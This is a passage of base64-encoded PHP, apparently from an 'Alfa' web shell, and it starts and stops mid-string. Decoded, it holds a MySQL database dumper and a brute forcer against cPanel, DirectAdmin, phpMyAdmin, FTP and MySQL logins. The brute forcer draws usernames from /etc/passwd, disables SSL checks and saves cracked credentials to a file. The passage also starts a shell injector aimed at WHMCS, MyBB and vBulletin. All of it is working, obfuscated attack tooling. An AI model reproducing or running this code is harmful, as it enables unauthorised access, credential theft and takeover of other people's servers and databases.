bnRlcjsnIHR5cGU9J3RleHQnIG5hbWU9J2RlbGltaXRlcicgcGxhY2Vob2xkZXI9J2VnOiAsJz48L2Rpdj48L2Rpdj4iKTsKCSRkYXRhID0gYXJyYXkoKTsKCSR0YWJsZXNfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGRiLCAiU0VMRUNUIHRhYmxlX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9IGRhdGFiYXNlKCk7Iik7Cgl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX2FycmF5KCR0YWJsZXNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewoJCSRkYXRhWyRyb3dbInRhYmxlX25hbWUiXV0gPSBhcnJheSgpOwoJCSR0YWJsZV9jb3VudF9xID0gbXlzcWxpX3F1ZXJ5KCRkYiwgIlNFTEVDVCBjb3VudCgqKSBGUk9NIGAiLiRyb3dbJ3RhYmxlX25hbWUnXS4iYCIpOwoJCSR0YWJsZV9jb3VudCA9IG15c3FsaV9mZXRjaF9yb3coJHRhYmxlX2NvdW50X3EpOwoJCSRkYXRhWyRyb3dbInRhYmxlX25hbWUiXV1bImRhdGFfY291bnQiXSA9ICR0YWJsZV9jb3VudFswXTsKCQkkY29sdW1uc19xdWVyeSA9IG15c3FsaV9xdWVyeSgkZGIsICJTRUxFQ1QgY29sdW1uX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9uYW1lID0gJyIuJHJvd1sndGFibGVfbmFtZSddLiInIik7CgkJd2hpbGUoJHJvdzIgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJGNvbHVtbnNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewoJCQkkZGF0YVskcm93WyJ0YWJsZV9uYW1lIl1dWyJjb2xzIl1bXSA9ICRyb3cyWyJjb2x1bW5fbmFtZSJdOwoJCX0KCX0KCW15c3FsaV9jbG9zZSgkZGIpOwoKCWVjaG8gJzx1bCBpZD0ibXlVTCI+JzsKCWZvcmVhY2goJGRhdGEgYXMgJHRibCA9PiAkY29scyl7CgkgICAgZWNobyAnPGxpPjxzcGFuIHN0eWxlPSJjb2xvcjojMDBGRjAwOyIgY2xhc3M9ImJveCI+Jy4kdGJsLicgKCcuJGNvbHNbImRhdGFfY291bnQiXS4nKTwvc3Bhbj48dWwgY2xhc3M9Im5lc3RlZCI+JzsKCSAgICBmb3JlYWNoKCRjb2xzWyJjb2xzIl0gYXMgJGNvbCl7CgkgICAgICAgIGVjaG8gJzxsaSB0Ymw9IicuJHRibC4nIj48c3BhbiBzdHlsZT0iY29sb3I6IzAwRkYwMDsiIHRibD0iJy4kdGJsLiciIGNsYXNzPSJib3ggc3ViLWJveCI+JyAuICRjb2wgLiAnPC9zcGFuPjwvbGk+JzsKCSAgICB9CgkgICAgZWNobyAnPC91bD48L2xpPic7Cgl9CgllY2hvICc8L3VsPic7Cn1lbHNlewplY2hvKCc8Y2VudGVyPm15c3FsaV9jb25uZWN0IDogRXJyb3IhPC9jZW50ZXI+Jyk7Cn0KfQplY2hvKCc8L2Rpdj4nKTsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFEdW1wZXIoKXsKYWxmYWhlYWQoKTsKZWNobygnPGRpdiBjbGFzcz0iaGVhZGVyIj4nKTsKQWxmYU51bSg4LDksMTApOwplY2hvICI8Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeXNxbCBEYXRhYmFzZSBEdW1wZXIgfDwvZGl2Pjxicj48YnI+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPGZvcm0gbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD1cImcoJ2R1bXBlcicsbnVsbCxudWxsLG51bGwsdGhpcy5kYl91c2VybmFtZS52YWx1ZSx0aGlzLmRiX3Bhc3N3b3JkLnZhbHVlLHRoaXMuZGJfbmFtZS52YWx1ZSx0aGlzLmRmaWxlLnZhbHVlLHRoaXMuZGJfaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIj48cD4iOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl91c2VybmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl91c2VybmFtZScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9wYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9wYXNzd29yZCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0R1bXAgUGF0aDogJywgJ2lucHV0TmFtZScgPT4gJ2RmaWxlJywgJ2lucHV0VmFsdWUnID0+IGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nYWxmYS5zcWwnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAiPGJyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJyBuYW1lPSdTdWJtaXQnPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsKJHVzZXJuYW1lID0gKCRfUE9TVFsnYWxmYTMnXSk7CiRwYXNzd29yZCA9ICgkX1BPU1RbJ2FsZmE0J10pOwokZGJuYW1lID0gKCRfUE9TVFsnYWxmYTUnXSk7CiRkZmlsZSA9ICgkX1BPU1RbJ2FsZmE2J10pOwokaG9zdCA9ICgkX1BPU1RbJ2FsZmE3J10pOwppZighZW1wdHkoJGRibmFtZSkpewplY2hvIF9fcHJlKCk7CiRtc2cgPSAiPGNlbnRlcj5DaGVjayB0aGlzIDogIDxmb250IGNvbG9yPSdyZWQnPiIuJGRmaWxlLiI8L2ZvbnQ+PC9jZW50ZXI+IjsKaWYoQG15c3FsaV9jb25uZWN0KCRob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRibmFtZSkpewppZihzdHJsZW4oYWxmYUV4KCJteXNxbGR1bXAiKSk+MCl7CmFsZmFFeCgibXlzcWxkdW1wIC0tc2luZ2xlLXRyYW5zYWN0aW9uIC0taG9zdD1cIiRob3N0XCIgLS11c2VyPVwiJHVzZXJuYW1lXCIgLS1wYXNzd29yZD1cIiRwYXNzd29yZFwiICRkYm5hbWUgPiAnIi5hZGRzbGFzaGVzKCRkZmlsZSkuIiciKTsKZWNobygkbXNnKTsKfWVsc2V7Cl9fYWxlcnQoIkVycm9yLi4uISIpOwp9Cn1lbHNlewplY2hvKCc8Y2VudGVyPm15c3FsaV9jb25uZWN0IDogRXJyb3IhPC9jZW50ZXI+Jyk7Cn0KfQplY2hvKCc8L2Rpdj4nKTsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIEFsZmFfRGlyZWN0QWRtaW5fQ3JhY2tlcigkaW5mbyl7CmlmKCEkaW5mb1snbXlzcWwnXSkKJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXS4nOicuJGluZm9bJ3BvcnQnXS4nL0NNRF9MT0dJTic7CmVsc2UgJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXS4nL3BocG15YWRtaW4nOwokY3VybCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0OyBydjoxNy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzE3LjAnKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsMCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCR1cmwpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSUFdELCAkaW5mb1sndXNlcm5hbWUnXS4nOicuJGluZm9bJ3Bhc3N3b3JkJ10pOwppZigkaW5mb1snbXlzcWwnXSljdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQU5ZKTsKJHJlc3VsdCA9IEBjdXJsX2V4ZWMoJGN1cmwpOwokY3VybF9lcnJubyA9IGN1cmxfZXJybm8oJGN1cmwpOwokY3VybF9lcnJvciA9IGN1cmxfZXJyb3IoJGN1cmwpOwppZiAoJGN1cmxfZXJybm8gPiAwKSB7ZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RXJyb3I6ICRjdXJsX2Vycm9yPC9mb250Pjxicj4iO30KZWxzZWlmKHByZWdfbWF0Y2goJy9DTURfRklMRV9NQU5BR0VSfGZyYW1lc2V0L2knLCRyZXN1bHQpKXsKZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7CiRpbmZvWyd0YXJnZXQnXSA9ICR1cmw7CkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsKfQpjdXJsX2Nsb3NlKCRjdXJsKTsKfQpmdW5jdGlvbiBBbGZhX0NQX0NyYWNrZXIoJGluZm8pewokdXJsID0gJGluZm9bJ3Byb3RvY29sJ10uJGluZm9bJ3RhcmdldCddLic6Jy4kaW5mb1sncG9ydCddOwokY3VybCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0OyBydjoxNy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzE3LjAnKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsMCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJheSgiQXV0aG9yaXphdGlvbjogQmFzaWMgIiAuIF9fWlc1amIyUmxjZygkaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10pIC4gIlxuXHIiKSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHVybCk7CiRyZXN1bHQgPSBAY3VybF9leGVjKCRjdXJsKTsKJGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTsKJGN1cmxfZXJyb3IgPSBjdXJsX2Vycm9yKCRjdXJsKTsKaWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9CmVsc2VpZihwcmVnX21hdGNoKCcvZmlsZW1hbmFnZXIvaScsJHJlc3VsdCkpewplY2hvICdVc2VyTmFtZTogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sndXNlcm5hbWUnXS4nPC9mb250PiBQYXNzV29yZDogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sncGFzc3dvcmQnXS4nPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+ICBMb2dpbiBTdWNjZXNzLi4uLjwvZm9udD48YnI+JzsKJGluZm9bJ3RhcmdldCddID0gJHVybDsKQ3JhY2tlclJlc3VhbHQoJGluZm8pOwp9CmN1cmxfY2xvc2UoJGN1cmwpOwp9CmZ1bmN0aW9uIEFsZmFfRlRQX0NyYWNrZXIoJGluZm8pewokdXJsID0gJGluZm9bJ3Byb3RvY29sJ10uJGluZm9bJ3RhcmdldCddOwokY3VybCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsICR1cmwpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IHJ2OjE3LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTcuMCcpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJQV0QsICIiLiRpbmZvWyd1c2VybmFtZSddLiI6Ii4kaW5mb1sncGFzc3dvcmQnXS4iIik7CiRyZXN1bHQgPSBAY3VybF9leGVjKCRjdXJsKTsKJGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTsKJGN1cmxfZXJyb3IgPSBjdXJsX2Vycm9yKCRjdXJsKTsKaWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9CmVsc2VpZihwcmVnX21hdGNoKCcvKFxkKyk6KFxkKykvaScsJHJlc3VsdCkpewplY2hvICdVc2VyTmFtZTogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sndXNlcm5hbWUnXS4nPC9mb250PiBQYXNzV29yZDogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sncGFzc3dvcmQnXS4nPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+ICBMb2dpbiBTdWNjZXNzLi4uLjwvZm9udD48YnI+JzsKJGluZm9bJ3RhcmdldCddID0gJHVybDsKQ3JhY2tlclJlc3VhbHQoJGluZm8pOwp9CmN1cmxfY2xvc2UoJGN1cmwpOwp9CmZ1bmN0aW9uIEFsZmFfTXlzcWxfQ3JhY2tlcigkaW5mbyl7CmlmKEBteXNxbGlfY29ubmVjdCgkaW5mb1sndGFyZ2V0J10uJzonLiRpbmZvWydwb3J0J10sJGluZm9bJ3VzZXJuYW1lJ10sJGluZm9bJ3Bhc3N3b3JkJ10pKXsKQ3JhY2tlclJlc3VhbHQoJGluZm8pOwplY2hvICdVc2VyTmFtZTogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sndXNlcm5hbWUnXS4nPC9mb250PiBQYXNzV29yZDogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sncGFzc3dvcmQnXS4nPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+ICBMb2dpbiBTdWNjZXNzLi4uLjwvZm9udD48YnI+JzsKfQp9CmZ1bmN0aW9uIEFsZmFfRlRQQygkaW5mbyl7CmlmKCRjb249QGZ0cF9jb25uZWN0KCRpbmZvWyd0YXJnZXQnXSwkaW5mb1sncG9ydCddKSl7CmlmKCRjb24pewokbG9naW49QGZ0cF9sb2dpbigkY29uLCRpbmZvWyd1c2VybmFtZSddLCRpbmZvWydwYXNzd29yZCddKTsKaWYoJGxvZ2luKXtDcmFja2VyUmVzdWFsdCgkaW5mbyk7fX19CkBmdHBfY2xvc2UoJGNvbik7Cn0KZnVuY3Rpb24gQ3JhY2tlclJlc3VhbHQoJGluZm8pewokcmVzID0gJGluZm9bJ3RhcmdldCddLicgPT4gJy4kaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10uIlxuIiA7CiRjID0gQGZvcGVuKCRpbmZvWydmY3JhY2snXSwnYSsnKTsKQGZ3cml0ZSgkYywgJHJlcyk7CkBmY2xvc2UoJGMpOwp9CmZ1bmN0aW9uIEFsZmFfQ2FsbF9GdW5jdGlvbl9DcmFja2VyKCRtZXRob2QsJGluZm8pewpzd2l0Y2goJG1ldGhvZCl7Y2FzZSAnY3AnOnJldHVybiBBbGZhX0NQX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ2RpcmVjdCc6IGNhc2UgJ3BocG15YWRtaW4nOnJldHVybiBBbGZhX0RpcmVjdEFkbWluX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ2Z0cCc6cmV0dXJuIEFsZmFfRlRQX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ215c3FsJzpyZXR1cm4gQWxmYV9NeXNxbF9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdteXNxbCc6cmV0dXJuIEFsZmFfRlRQQygkaW5mbyk7YnJlYWs7fQp9CmZ1bmN0aW9uIGFsZmFDcmFja2VycygpewphbGZhaGVhZCgpOwpBbGZhTnVtKDksMTApOwplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEJydXRlIEZvcmNlciB8PC9kaXY+PGJyPjxicj48Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJnKFwnQ3JhY2tlcnNcJyxudWxsLHRoaXMudGFyZ2V0LnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLnVzZXJuYW1lcy52YWx1ZSx0aGlzLnBhc3N3b3Jkcy52YWx1ZSx0aGlzLmZjcmFjay52YWx1ZSxcJ3N0YXJ0XCcsdGhpcy5wcm90b2NvbC52YWx1ZSx0aGlzLmxvZ2lucGFuZWwudmFsdWUpO3JldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPkxvZ2luIFBhZ2U6IDxzZWxlY3Qgb25jbGljaz0iZGlzX2lucHV0KHRoaXMudmFsdWUpOyIgbmFtZT0ibG9naW5wYW5lbCI+JzsKZm9yZWFjaChhcnJheSgnY3AnPT4nQ3BhbmVsJywnZGlyZWN0Jz0+J0RpcmVjdEFkbWluJywnZnRwJz0+J0ZUUCcsJ3BocG15YWRtaW4nPT4nUGhwTXlBZG1pbltEaXJlY3RBZG1pbl0nLCdteXNxbCc9PidteXNxbF9jb25uZWN0KCknLCdmdHBjJz0+J2Z0cF9jb25uZWN0KCknKSBhcyAka2V5PT4kdmFsKWVjaG8oJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPicpOwplY2hvICc8L3NlbGVjdD4gUHJvdG9jb2w6IDxzZWxlY3QgaWQ9InByb3RvY29sIiBuYW1lPSJwcm90b2NvbCI+JzsKZm9yZWFjaChhcnJheSgnaHR0cHM6Ly8nLCdodHRwOi8vJywnZnRwOi8vJykgYXMgJHZhbCllY2hvKCc8b3B0aW9uIHZhbHVlPSInLiR2YWwuJyI+Jy4kdmFsLic8L29wdGlvbj4nKTsKZWNobyAnPC9zZWxlY3Q+IFdlYnNpdGUvaXAgQWRkcmVzczogPGlucHV0IGlkPSJ0YXJnZXQiIHR5cGU9InRleHQiIG5hbWU9InRhcmdldCIgdmFsdWU9ImxvY2FsaG9zdCI+ClBvcnQ6IDxpbnB1dCBpZD0icG9ydCIgdHlwZT0idGV4dCIgbmFtZT0icG9ydCIgdmFsdWU9IjIwODMiPgo8dGFibGUgd2lkdGg9IjMwJSI+PHRkIGFsaWduPSJjZW50ZXIiPlVzZXJzIExpc3Q8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj5QYXNzd29yZHM8L3RkPjwvdGFibGU+Cjx0ZXh0YXJlYSBwbGFjZWhvbGRlcj0iVXNlcnMiIHJvd3M9IjIwIiBjb2xzPSIyNSIgbmFtZT0idXNlcm5hbWVzIj4nLigkR0xPQkFMU1snc3lzJ109PSd1bml4Jz9hbGZhRXgoImN1dCAtZDogLWYxIC9ldGMvcGFzc3dkIik6IiIpLic8L3RleHRhcmVhPgombmJzcCA8dGV4dGFyZWEgcGxhY2Vob2xkZXI9IlBhc3N3b3JkcyIgcm93cz0iMjAiIGNvbHM9IjI1IiBuYW1lPSJwYXNzd29yZHMiPjwvdGV4dGFyZWE+PGJyPjxicj4KU2F2ZSBSZXN1bHQgSW50byBGaWxlIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmY3JhY2siIHZhbHVlPSJjcmFja2VkLnR4dCI+CjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNyYWNraW5nIiB2YWx1ZT0iICIgLz48L2Rpdj48L2Zvcm0+PC9wPjxjZW50ZXI+JzsKJHRhcmdldCA9IHN0cl9yZXBsYWNlKGFycmF5KCdodHRwczovLycsJ2h0dHA6Ly8nLCdmdHA6Ly8nKSwnJywkX1BPU1RbJ2FsZmExJ10pOwokcG9ydCA9ICRfUE9TVFsnYWxmYTInXTsKJHVzZXJuYW1lcz0gJF9QT1NUWydhbGZhMyddOwokcGFzc3dvcmRzID0gJF9QT1NUWydhbGZhNCddOwokZmNyYWNrID0gJF9QT1NUWydhbGZhNSddOwokY3JhY2tpbmcgPSAkX1BPU1RbJ2FsZmE2J107CiRwcm90b2NvbCA9ICRfUE9TVFsnYWxmYTcnXTsKJGxvZ2lucGFuZWwgPSAkX1BPU1RbJ2FsZmE4J107CiRwID0gJGxvZ2lucGFuZWwgPT0gJ3BocG15YWRtaW4nID8gJHAgPSB0cnVlIDogZmFsc2U7CmlmKCRjcmFja2luZz09J3N0YXJ0Jyl7CmVjaG8gX19wcmUoKTsKJGV4dXNlciA9IGV4cGxvZGUoIlxuIiwkdXNlcm5hbWVzKTsKJGV4cHcgPSBleHBsb2RlKCJcbiIsJHBhc3N3b3Jkcyk7CmZvcmVhY2goJGV4dXNlciBhcyAkdXNlcil7CmZvcmVhY2goJGV4cHcgYXMgJHB3KXsKJGFycmF5ID0gYXJyYXkoJ3VzZXJuYW1lJyA9PiB0cmltKCR1c2VyKSwncGFzc3dvcmQnID0+IHRyaW0oJHB3KSwncG9ydCcgPT4gdHJpbSgkcG9ydCksJ3RhcmdldCcgPT4gdHJpbSgkdGFyZ2V0KSwncHJvdG9jb2wnID0+IHRyaW0oJHByb3RvY29sKSwnZmNyYWNrJyA9PiB0cmltKCRmY3JhY2spLCdteXNxbCcgPT4gJHApOwpBbGZhX0NhbGxfRnVuY3Rpb25fQ3JhY2tlcigkbG9naW5wYW5lbCwkYXJyYXkpOwp9Cn0KZWNobyAnPGJyPjxmb250IGNvbG9yPSJyZWQiPkF0dGFjayBGaW5pc2hlZC4uLjwvZm9udD4nOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBvdXRwdXQoJHN0cmluZyl7IGVjaG8gIjxicj48cHJlIGlkPVwic3RyT3V0cHV0XCIgc3R5bGU9XCJtYXJnaW4tdG9wOjVweFwiIGNsYXNzPVwibWwxXCI+PGJyPjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSciLiRzdHJpbmcuIic+Q2xpY2sgSGVyZSAhPC9hPjwvZm9udD48L2I+PC9jZW50ZXI+PGJyPjxicj4iO30KZnVuY3Rpb24gYWxmYVNoZWxsSW5qZWN0b3JzKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7CkFsZmFOdW0oMTEpOwplY2hvICc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENtcyBTaGVsbCBJbmplY3RvciB8PC9kaXY+PC9wPjxjZW50ZXI+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsXCd3aG1jc1wnLG51bGwpIj58IFdITUNTIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsbnVsbCxcJ215YmJcJykiPnwgTXlCQiB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsbnVsbCxcJ3ZiXCcpIj58IHZCdWxsZXRpbiB8PC9hPjwvaDM+PC9jZW50ZXI+JzsKJHNlbGVjdG9yID0gJzxwPjxkaXYgY2xhc3M9InR4dGZvbnQiPlNoZWxsIEluamVjdCBNZXRob2QgOiA8L2Rpdj4gPHNlbGVjdCBuYW1lPSJtZXRob2QiIHN0eWxlPSJ3aWR0aDoxMDBweDsiPjxvcHRpb24gdmFsdWU9ImF1dG8iPkF1dG9NYXRpYzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1hbiI+TWFudWVsPC9vcHRpb24+PC9zZWxlY3Q+PC9wPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkgJiYgJF9QT1NUWydhbGZhMSddPT0gJ3dobWNzJyl7CkFsZmFOdW0oKTsKZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXSE1DUyB8PC9kaXY+PC9wPjxjZW50ZXI+PGNlbnRlcj48cD4iLmdldENvbmZpZ0h0bWwoJ3dobWNzJykuIjwvcD48Zm9ybSBvblN1Ym1pdD1cImcoJ1NoZWxsSW5qZWN0b3JzJyxudWxsLCd3aG1jcycsbnVsbCxudWxsLHRoaXMubWV0aG9kLnZhbHVlLG51bGwsdGhpcy5kYnUudmFsdWUsdGhpcy5kYm4udmFsdWUsdGhpcy5kYnAudmFsdWUsdGhpcy5kYmgudmFsdWUsdGhpcy5wYXRoLnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD0ncG9zdCc+IjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXRoIFdITUNTIFVybCA6ICcsICdpbnB1dE5hbWUnID0+ICdwYXRoJywgJ2lucHV0VmFsdWUnID0+ICdodHRwOi8vc2l0ZS5jb20vd2htY3MnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlciA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcyA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0